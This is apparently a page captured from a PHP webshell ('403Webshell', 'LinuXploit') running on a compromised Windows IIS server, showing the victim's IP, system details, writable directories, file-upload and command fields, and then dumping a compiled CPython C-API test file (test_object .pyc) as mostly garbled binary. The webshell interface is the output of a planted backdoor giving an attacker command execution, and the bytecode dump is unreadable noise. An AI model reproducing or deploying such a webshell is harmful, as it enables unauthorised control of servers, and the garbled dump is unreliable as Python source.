403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Python315/Lib/test/test_capi/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Python315/Lib/test/test_capi/__pycache__/test_object.cpython-315.opt-1.pyc
R
>lqj�2c��]PHs]PHs]PHs]PHs]PHs]PHs]QHGs]QH G	s	]QH G
s
]QH Gs]QH0G
s
\	OQ2s\	OQ2s\	OQ2sPs]sQ	Q
\O(2sQQ\O,2sQ
Q\O,2sQQ\O,2sQQ\O,2s\O62QQ\O,22sQQ\O,2sQQ\O,2s\Q6Xc\O@2P!P!)�)�support)�
import_helper)�	os_helper)�threading_helper)�assert_python_failure�_testlimitedcapi�	_testcapi�_testinternalcapic�R�\sQs]s]s]s]s]s]s]s	]s
]s]s]	s
\
]*sQsP!)�Constant�)�__name__�
__module__�__qualname__�__firstlineno__�Py_CONSTANT_NONE�Py_CONSTANT_FALSE�Py_CONSTANT_TRUE�Py_CONSTANT_ELLIPSIS�Py_CONSTANT_NOT_IMPLEMENTED�Py_CONSTANT_ZERO�Py_CONSTANT_ONE�Py_CONSTANT_EMPTY_STR�Py_CONSTANT_EMPTY_BYTES�Py_CONSTANT_EMPTY_TUPLE�INVALID_CONSTANT�__static_attributes__r��/C:\Python315\\Lib\test\test_capi\test_object.pyrrsH����������"#�����O�������.��2�rrc�4`�\sQs]%snQsQsQsQsUsP!)�GetConstantTestc	��UOU[O2P2UOU[O2P
2UOU[O2P	2UOU[O
2[2UOU[O2[2[O[]1[O[]1[O[P1[O[Q1[O ["Q11FD]vq#oUO%UQ59^tt^2UU2oUO'[)U2V52UO'VT2PPP2J_	UO+[,29^tt^2U[O.2PPP2P!)%fhJ�9h)%fhP!9h)Nr)�constant_idr)�assertIsrrrrr�Ellipsisr�NotImplementedr�intrr�strr�bytesr�tuple�subTest�assertEqual�type�assertRaises�SystemErrorr)�self�get_constantr"�
constant_type�value�objs&&    r�check_get_constant�"GetConstantTest.check_get_constant&sj���
�
�l�8�#<�#<�=�t�D��
�
�l�8�#=�#=�>��F��
�
�l�8�#<�#<�=�t�D��
�
�l�8�#@�#@�A�8�L��
�
�l�8�#G�#G�H�.�Y��
&�
&��Q�/�
�
%�
%�s�A�.�
�
+�
+�S�"�5�
�
-�
-�u�c�:�
�
-�
-�u�b�9�2
�-�K�����+��6�6�"�;�/��� � ��c��M�?�� � ��,�7�6�2
��
�
�{�
+�
+���2�2�3�,�
+�7�6�6��
,�
+�
+�s$�5G	�7G,�G)
�!G)
�,G=	�5G=	c�F�UO[O2P!�N)r4rr0�r/s&r�test_get_constant�!GetConstantTest.test_get_constant<s����� 0� =� =�>rc�F�UO[O2P!r7)r4r�get_constant_borrowedr8s&r�test_get_constant_borrowed�*GetConstantTest.test_get_constant_borrowed?s����� 0� F� F�Grr)	r
rrrr4r9r=r�__classdictcell__��
__classdict__s@rr r %s����4�,?�H�Hrr c�(`�\sQs]CsnQsQsUsP!)�SentinelTestc�:�[OQ[2oUO[	U2[
2UO
[OU22UO[O[222UO
[OU22UO[O[222UOUOQ2UOUO[2UO[U2Q2[OQ2oUO[	U2[
2UOUOQ2UOUOP2[OQ[Q2oUO[	U2[
2UOUOQ2UOUO[2UO[U2Q2U[2Q$UO[2O QP2UO["O$["O&U22U2P!)�
CAPI_SENTINEL�	NO_MODULE�	WITH_REPRzcustom repr)r�pysentinel_newr
r#r,�sentinel�
assertTrue�pysentinel_check�assertFalse�object�pysentinel_checkexactr+r�repr�globals�
addCleanup�pop�pickle�loads�dumps)r/�marker�	no_module�	with_reprs&   r�test_pysentinel_new� SentinelTest.test_pysentinel_newEs����)�)�/�8�D���
�
�d�6�l�H�-����	�2�2�6�:�;�����3�3�F�H�=�>����	�7�7��?�@�����8�8���B�C�������/�:�����*�*�H�5�����f���7��,�,�[�9�	��
�
�d�9�o�x�0�����+�+�[�9��
�
�i�*�*�D�1��,�,�[�(�M�R�	��
�
�d�9�o�x�0�����+�+�[�9�����-�-�x�8�����i��-�8�%+��	�/�"�����	�
�
���=��
�
�f�l�l�6�<�<��#7�8�&�Arr)r
rrrrYrr?r@s@rrCrCCs����B�BrrCc�:`�\sQs]`snQsQsQsQsQsUs	P!)�	PrintTestc�H�QQ2oU2o[OoUO[OU2[OV#P
2[
UQ29^tt^2oUOUO2[U22PPP2[OV#P	2[
UQ29^tt^2oUOUO2[U22PPP2P!)%fhKn9h)%fhP!9h)c�.`�\sQs]csnQsQsQsUsP!)�:PrintTest.testPyObjectPrintObject.<locals>.PrintableObjectc��Q!)zspam spam spamrr8s&r�__repr__�CPrintTest.testPyObjectPrintObject.<locals>.PrintableObject.__repr__es��'rc��Q!)zegg egg eggrr8s&r�__str__�BPrintTest.testPyObjectPrintObject.<locals>.PrintableObject.__str__hs��$rr)r
rrrrardrr?r@s@r�PrintableObjectr_cs����
(�
%�
%rrf�r)r�TESTFNrQ�unlinkr�call_pyobject_print�openr+�readrOr')r/rfr3�output_filename�output_files&    r�testPyObjectPrintObject�!PrintTest.testPyObjectPrintObjectas���	%�	%����#�*�*�����	�(�(�/�:�	�%�%�c�E�B�
�/�3�
'�
'�;����[�-�-�/��c��;�(�	�%�%�c�D�A�
�/�3�
'�
'�;����[�-�-�/��S��:�(�
'�(�
'��
(�
'�
'�s$�-*C=�	*D�=D
	�D
	�D!	�D!	c�4�[OoUO[OU2[OU2[
UQ29^tt^2oUOUO2Q2PPP2P!)%fhP!9h)rgz<nil>)	rrhrQrir�pyobject_print_nullrkr+rl)r/rmrns&  r�testPyObjectPrintNULL�PrintTest.testPyObjectPrintNULLysh��#�*�*�����	�(�(�/�:�	�%�%�o�6�
�/�3�
'�
'�;����[�-�-�/��9�(�
'�
'�
'���!B�B	�B	c�4�[OoUO[OU2[OU2o[
UQ29^tt^2oUOUO2U2PPP2P!)%fhP!9h)rg)	rrhrQrir�pyobject_print_noref_objectrkr+rl)r/rm�correct_outputrns&   r�testPyObjectPrintNoRefObject�&PrintTest.testPyObjectPrintNoRefObject�sj��#�*�*�����	�(�(�/�:�#�>�>��O��
�/�3�
'�
'�;����[�-�-�/��@�(�
'�
'�
'�ruc�:�[OoUO[OU2[	UQ2O2UO
[29^tt^2[OU2PPP2P!)%fhP!9h)zw+)
rrhrQrirk�closer-�OSErrorr�pyobject_print_os_error)r/rms& r�testPyObjectPrintOSError�"PrintTest.testPyObjectPrintOSError�sb��#�*�*�����	�(�(�/�:��_�d�#�)�)�+�
�
�
�w�
'�
'��-�-�o�>�(�
'�
'�
'�s�)B	�	B	�B	r)
r
rrrrorsryrrr?r@s@rr\r\`s����;�0:�A�?�?rr\c�2`�\sQs]�snQsQsQsQsUsP!)�ClearWeakRefsNoCallbacksTestz/Test PyUnstable_Object_ClearWeakRefsNoCallbacksc�T`�]PHo]PHoQQ2oU2o,nUOUU1Qk2oUOU2U2UO	R2[
O
U2UOU22UO2UO	R2P!)z7Ensure PyUnstable_Object_ClearWeakRefsNoCallbacks worksc��\sQs]�sQsP!)�EClearWeakRefsNoCallbacksTest.test_ClearWeakRefsNoCallbacks.<locals>.Cr)r
rrrrrrr�Cr��s��rr�c�(:�ROQ2!)zdon't add this)�append)�messagess�r�<lambda>�LClearWeakRefsNoCallbacksTest.test_ClearWeakRefsNoCallbacks.<locals>.<lambda>�s���x���7G�'Hr)	�weakref�gc�refr#rLr�$pyobject_clear_weakrefs_no_callbacks�assertIsNone�collect)r/r�r�r�r3r�r�s&     @r�test_ClearWeakRefsNoCallbacks�:ClearWeakRefsNoCallbacksTest.test_ClearWeakRefsNoCallbacks�s������	�	��c�����k�k�#�H�I���
�
�c�e�S�!�����"��6�6�s�;����#�%� �
�
�
������"rc���]PHo[2oUO[29^tt^2UO	U2oPPP2[
O
U2P!)%fhK'9h)z1Don't fail on objects that don't support weakrefs)r�rMr-�	TypeErrorr�rr�)r/r�r3r�s&   r�0test_ClearWeakRefsNoCallbacks_no_weakref_support�MClearWeakRefsNoCallbacksTest.test_ClearWeakRefsNoCallbacks_no_weakref_support�sG����h��
�
�
�y�
)�
)��+�+�c�"�C�*��6�6�s�;�*�
)�s�A�A.	�'A.	r)	r
rrr�__doc__r�r�rr?r@s@rr�r��s����9�#� <�<rr�c�V`�\sQs]�snQs\OQ2Q2sQsUs	P!)�EnableDeferredRefcountingTestz-Test PyUnstable_Object_EnableDeferredRefcount�cpuc	�`�]QHGo]PH
oRO[OQ2]2,oRO[OU2[
[O22[]],2oROUOU22RO[OU2]2ROU,2[O%c%RO[OU22U1Qko,QNo[]2Tt,tFDpqVV1Q5MJ	oo[ O"U29^tt^2[]
2FDo	UO%U	2J	PPP2[O%c'RO[OU22P!P!ttoh)%fhKS9h)r)�Threadznot trackedc�T:�RO[OU2Q2P!)r)r�)�assertInr�!pyobject_enable_deferred_refcount)r3r/s&�r�
silly_func�OEnableDeferredRefcountingTest.test_enable_deferred_refcount.<locals>.silly_func�s ����M�M��;�;�C�@��
r)�target�args)r���)�	threadingr�r�r+rr�r&r�Py_GIL_DISABLEDr)rL�
is_trackedrJr	�has_deferred_refcount�ranger�
start_threadsr�)
r/r�r��foo�not_gc_trackedr��
silly_list�_�threads�is
f         r�test_enable_deferred_refcount�;EnableDeferredRefcountingTest.test_enable_deferred_refcount�sh���$������D�D�]�S�UV�W�������D�D�S�I�3�w�Of�Of�Kg�h���1�v���������~�6�7�����D�D�^�T�VW�X�	
����b�!��"�"�"��O�O�-�C�C�C�H�I�	��
�CH��8�
�CK�a�F�*�=�9�8�	�
��
+�
+�G�
4�
4��2�Y���!�!�!�$��5��"�"�"��O�O�-�C�C�J�O�P�#��
�5�
4�s�$G�%G�G	�G	r)
r
rrrr�r�requires_resourcer�rr?r@s@rr�r��s'����7����u�%�#Q�&�#Qrr�c�,`�\sQs]�snQsQsQsUsP!)�IsUniquelyReferencedTestz+Test PyUnstable_Object_IsUniquelyReferencedc�8�UO[O[222UO[O,22UO	[OQ22UO	[O]*22P!)�*r)rJr�is_uniquely_referencedrMrLr8s&r�test_is_uniquely_referenced�4IsUniquelyReferencedTest.test_is_uniquely_referenced�sd�����	�8�8���B�C����	�8�8��<�=�����9�9�"�=�>�����9�9�"�=�>rr)r
rrrr�r�rr?r@s@rr�r��s����5�?�?rr�c� `�\sQs]�snQs\O\\Q2Q2Q2s	\O\\Q2Q2\
OQP	P	P	Q5Q	22s\
OQ
2Q2sQsQQ
ksQsQsUsP!)�CAPITestc�v�[OU2o[QU2vq#oUOUQ2P!)z-csWobject\.c:[0-9]+: _Py_NegativeRefcount: Assertion failed: object has negative ref count)�textwrap�dedentr�assertRegex)r/�code�rc�out�errs&&   r�check_negative_refcount� CAPITest.check_negative_refcount�s7�����t�$��,�T�4�8��������;�	<r�negative_refcountz"need _testcapi.negative_refcount()c�.�QoUOU2P!)z�
            import _testcapi
            from test import support

            with support.SuppressCrashReport():
                _testcapi.negative_refcount()
        �r��r/r�s& r�test_negative_refcount�CAPITest.test_negative_refcount�s����	
�$�$�T�*r�decref_freed_objectz$need _testcapi.decref_freed_object()zuse after free on purpose)�address�memory�ubc�.�QoUOU2P!)z�
            import _testcapi
            from test import support

            with support.SuppressCrashReport():
                _testcapi.decref_freed_object()
        r�r�s& r�test_decref_freed_object�!CAPITest.test_decref_freed_object�s��
��	
�$�$�T�*rr�c�`�]PHnU1QkQ2o[Q2FDoU2o[OU2J!	P!)rc�0:`�\sQsQsnU1QksQsUsP!)�+CAPITest.test_decref_delayed.<locals>.MyObj�c�*:�RO2P!r7)r�)r/r�s&�r�__del__�3CAPITest.test_decref_delayed.<locals>.MyObj.__del__s����
�
�rr)r
rrrr�rr?)rAr�s@�r�MyObjr�s����
�
rr���)r�r�r	�incref_decref_delayed)r/r�r�r3r�s&   @r�test_decref_delayed�CAPITest.test_decref_delayeds7���	�	�	��t��A��'�C��3�3�C�8�rc�D`�RO[O[222[2oRO	[OU22U1QkoU[22QFD&oRO	[O22J(	P!)c�:�RO[OU2]2RO[OU22P!)r�)r+�sys�getrefcountrLr�pyobject_is_unique_temporary)�xr/s&�r�func�/CAPITest.test_is_unique_temporary.<locals>.funcs5������S�_�_�Q�/��3����Y�C�C�A�F�Gr)rr�r�)rJrr�rMrL�'pyobject_is_unique_temporary_new_object)r/r3r�r�sf   r�test_is_unique_temporary�!CAPITest.test_is_unique_temporarysp������	�>�>�v�x�H�I��h������?�?��D�E�	H�
	
�V�X���A����Y�N�N�P�Q�rc��[Oo[O[2o[Oo[UQ29^tt^2oUO2o[OU[2UV2PPP2[OW[2[OU2[U29^tt^2oUO2O2ttPPP2[OU2![
c!oSO
QS802Po=CKPo=hh9h)%fhK�9h[OW[2[OS2h9h)%fhL9h[OS2P![OS2h9h)zos.dup() failed with �wb)r�
pyobject_dump�os�dup�	STDERR_FDr}�skipTestrrhrk�fileno�dup2r|rl�rstripri)	r/r3�release_gilr��
old_stderr�exc�filename�fp�fds	&&&      rr��CAPITest.pyobject_dump)s2��!�/�/�
�	;����	�*�J�
�#�#��
	'�
%��(�D�)�)�R�����B��G�G�B�	�*�!�#�3�*�
���
�I�.�����$��h���2��w�w�y�'�'�)� ��
���X�&��%�	;��M�M�1�#��9�:�:��	;��*�)��
���
�I�.�����$������
���X�&��I���X�&�sw�D�E�4E�E�AF5�F	�1
F5�	D=�D=�D8�8D=�E	�	E	�E�3F�F5�	F	�F	�F5�5G
c��QoUOU2oQoQUQUQ0oUOV$2UOUP	Q5oUOV$2UO[2oUOUQ2P!)ztest stringz(0x)?[0-9a-fA-F]+zobject address  : z.\nobject refcount : [0-9]+\nobject type     : z8\nobject type name: str\nobject repr     : 'test string')r�z<object at .* is freed>)r�r��NULL)r/�str_obj�output�	hex_regex�regexs&    r�test_pyobject_dump�CAPITest.test_pyobject_dumpBs������#�#�G�,��(�	�!�)��-"�"+��-0�
0�	�	
����'��#�#�G��#�>������'��#�#�D�)������!;�<rr)F)r
rrrr��unittest�
skipUnless�hasattrrr�r�skip_if_sanitizerr�r�r�r�r�rrr?r@s@rr�r��s�����<������,?�@�=�?�+�?�+������,A�B�?�A����:�'+�D�T�C�+�C�A�+�
���u�%�9�&�9�R�&'�2=�=rr��__main__)!�enumr�rSr�r�r�testr�test.supportrrr�test.support.script_helperr�
import_modulerrr	rr��IntEnumr�TestCaser rCr\r��requires_working_threadingr�r�r�r
�mainrrr�<module>rs0���	�
�
����&�"�)�<�!�.�.�/A�B���'�'��4�	�!�/�/�0C�D����
�	�3�t�|�|�3�H�h�'�'�H�<B�8�$�$�B�:1?��!�!�1?�h<�8�#4�#4�<�6�,�,�.�&Q�H�$5�$5�&Q�/�&Q�R?�x�0�0�?�s=�x� � �s=�l�z���M�M�O�r

Youez - 2016 - github.com/yon3zu
LinuXploit